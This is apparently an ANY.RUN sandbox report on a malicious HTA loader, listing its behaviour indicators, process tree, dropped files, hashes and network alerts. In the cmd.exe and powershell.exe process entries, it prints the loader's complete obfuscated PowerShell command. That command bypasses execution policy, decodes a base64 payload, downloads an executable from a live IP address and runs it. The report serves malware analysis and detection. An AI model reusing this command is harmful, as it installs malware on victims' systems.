File name:

greatnewforeverybodythingsgood.hta

Full analysis: https://app.any.run/tasks/e928e0ec-27d1-484a-b213-d32d4b4f2499
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 18:49:12
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
susp-powershell
Indicators:
MIME: application/javascript
File info: JavaScript source, ASCII text, with very long lines (28492), with no line terminators
MD5:

10CAF80A031AF75173AFB598D1A33ABC

SHA1:

89799648211CCA94A30F88BD39381364EC84C5B0

SHA256:

D17FB30415089F60D847648D73F98438977A7DBCDCACBDCFC9054FB39557F1D0

SSDEEP:

96:/Do2PIg1IyPI5foIRaqngkU1VxiWt9P8PoDKDVFIL4nPIw9:/sjg1I/toIRaNB9KDVFIL4Am

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 4448)

    • Accesses environment variables (SCRIPT)

      • mshta.exe (PID: 1180)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 4448)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 5204)

    • Starts Visual C# compiler

      • powershell.exe (PID: 4448)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 4448)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 1180)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 5204)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 5204)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 5204)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 1180)

    • Executes script without checking the security policy

      • powershell.exe (PID: 4448)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 5204)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4448)

    • Uses .NET C# to load dll

      • powershell.exe (PID: 4448)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 4448)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 2984)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 4448)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 4448)

    • Connects to the server without a host name

      • powershell.exe (PID: 4448)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 2984)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 1180)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4448)

    • Checks supported languages

      • csc.exe (PID: 2984)
      • cvtres.exe (PID: 856)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 2984)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • cmd.exe (PID: 5204)
      • powershell.exe (PID: 4448)

    • Create files in a temporary directory

      • cvtres.exe (PID: 856)
      • csc.exe (PID: 2984)

    • Checks proxy server information

      • powershell.exe (PID: 4448)

    • Reads the software policy settings

      • slui.exe (PID: 4980)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
9
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start mshta.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe sppextcomobj.exe no specs slui.exe csc.exe cvtres.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
856C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESFEB5.tmp" "c:\Users\admin\AppData\Local\Temp\CSC83F5A624EB5445EEA28DB01C857E1444.TMP"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
1180"C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\greatnewforeverybodythingsgood.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}C:\Windows\SysWOW64\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
2984"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\0b0sgdbn.cmdline"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
4448PowErSHELL -ex ByPAss -NoP -w 1 -C DevIcEcrEdEntIALdePLoymEnt ; iex($(iEx('[SyStEM.TExT.eNCodINg]'+[chAR]58+[char]58+'uTf8.getStrInG([sySteM.conVErT]'+[cHar]0X3a+[chAr]0X3A+'FRomBAse64sTring('+[CHAr]34+'JERTRXAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRlZmlOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENpU2NYbVpQdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVFEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFkRnBQLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd1NuTixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQllHSFRQWUFUcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSXF0UnlQR3JDIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRSICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERTRXAwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjA4Ljg5LjYxLjE0MS81NjAvVGlXb3JrZXIuZXhlIiwiJEVuVjpURU1QXFRpV29ya2VyLmV4ZSIsMCwwKTtzdGFSdC1TbGVlcCgzKTtJblZPa0UtaVRFbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpURU1QXFRpV29ya2VyLmV4ZSI='+[CHAR]34+'))')))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
4980"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5204"C:\WINDOWS\system32\cmd.exe" "/C PowErSHELL -ex ByPAss -NoP -w 1 -C DevIcEcrEdEntIALdePLoymEnt ; iex($(iEx('[SyStEM.TExT.eNCodINg]'+[chAR]58+[char]58+'uTf8.getStrInG([sySteM.conVErT]'+[cHar]0X3a+[chAr]0X3A+'FRomBAse64sTring('+[CHAr]34+'JERTRXAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRlZmlOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENpU2NYbVpQdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVFEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFkRnBQLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd1NuTixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQllHSFRQWUFUcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSXF0UnlQR3JDIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRSICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERTRXAwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjA4Ljg5LjYxLjE0MS81NjAvVGlXb3JrZXIuZXhlIiwiJEVuVjpURU1QXFRpV29ya2VyLmV4ZSIsMCwwKTtzdGFSdC1TbGVlcCgzKTtJblZPa0UtaVRFbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpURU1QXFRpV29ya2VyLmV4ZSI='+[CHAR]34+'))')))"C:\Windows\SysWOW64\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
5608C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5988C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6468\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
9 394
Read events
9 388
Write events
6
Delete events
0

Modification events

(PID) Process:(1180) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(1180) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(1180) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4448) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4448) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4448) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
1
Suspicious files
3
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
4448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tpolb2x3.ug0.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mwyup1je.25k.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nvnltx42.odl.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2984csc.exeC:\Users\admin\AppData\Local\Temp\CSC83F5A624EB5445EEA28DB01C857E1444.TMPbinary
MD5:FD77C0C460DEBDFBB6007BD7FC6AF66B
SHA256:64FE53B2357EE2E67151A16FA8FA11A0F418315882C7DB5D1956C3E8C0846EE0
4448powershell.exeC:\Users\admin\AppData\Local\Temp\0b0sgdbn.0.cstext
MD5:A3BDF251BC93CC75A9C71C114DD4189E
SHA256:FD26E15BC34EEBE2EA8EE067D009AEA62CA71CCE2B9DE8EFB3856F108DB72270
2984csc.exeC:\Users\admin\AppData\Local\Temp\0b0sgdbn.dllexecutable
MD5:9A52E18FB8726435719C29C534E34F6F
SHA256:C537671AC0805158AE6D28BCF78B21220DE2721192705E6BA9A082EC6ABE4247
856cvtres.exeC:\Users\admin\AppData\Local\Temp\RESFEB5.tmpbinary
MD5:33E55A54F5891D629B6E665F1F257F27
SHA256:A107D8672D7B7A3B33C8C2D4E9120FE05D06C66734FA6A250310965CECA6E508
2984csc.exeC:\Users\admin\AppData\Local\Temp\0b0sgdbn.outtext
MD5:5A34B39747B7174D22574030634AF7AB
SHA256:93880F7F8B52B68A439180398212AEDEF4142FF7775D46CB320B63103E27009C
4448powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:5F62DFB53E47D6CD6715ABE772A855F8
SHA256:C327736DF96A1BC7AC8A64CFC9935A7665EE601ACCC469BAB24E3822FA7AEFC0
4448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zswm3mjy.cuj.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
22
DNS requests
16
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
88.221.110.122:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2104
svchost.exe
GET
200
88.221.110.122:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2104
svchost.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4448
powershell.exe
GET
—
208.89.61.141:80
http://208.89.61.141/560/TiWorker.exe
unknown
—
—
malicious
1128
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
1128
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5496
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3304
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
88.221.110.122:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
88.221.110.122:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
2104
svchost.exe
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
5496
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.104.136.2
  • 40.127.240.158
whitelisted
google.com
  • 142.251.140.14
whitelisted
crl.microsoft.com
  • 88.221.110.122
  • 88.221.110.114
whitelisted
www.microsoft.com
  • 23.219.150.101
  • 184.30.21.171
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
nexusrules.officeapps.live.com
  • 52.111.227.11
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted
login.live.com
  • 20.190.160.131
  • 20.190.160.17
  • 20.190.160.2
  • 40.126.32.76
  • 20.190.160.128
  • 40.126.32.68
  • 40.126.32.138
  • 20.190.160.64
whitelisted

Threats

PID
Process
Class
Message
4448
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
4448
powershell.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
4448
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
4448
powershell.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
4448
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
greatnewforeverybodythingsgood.hta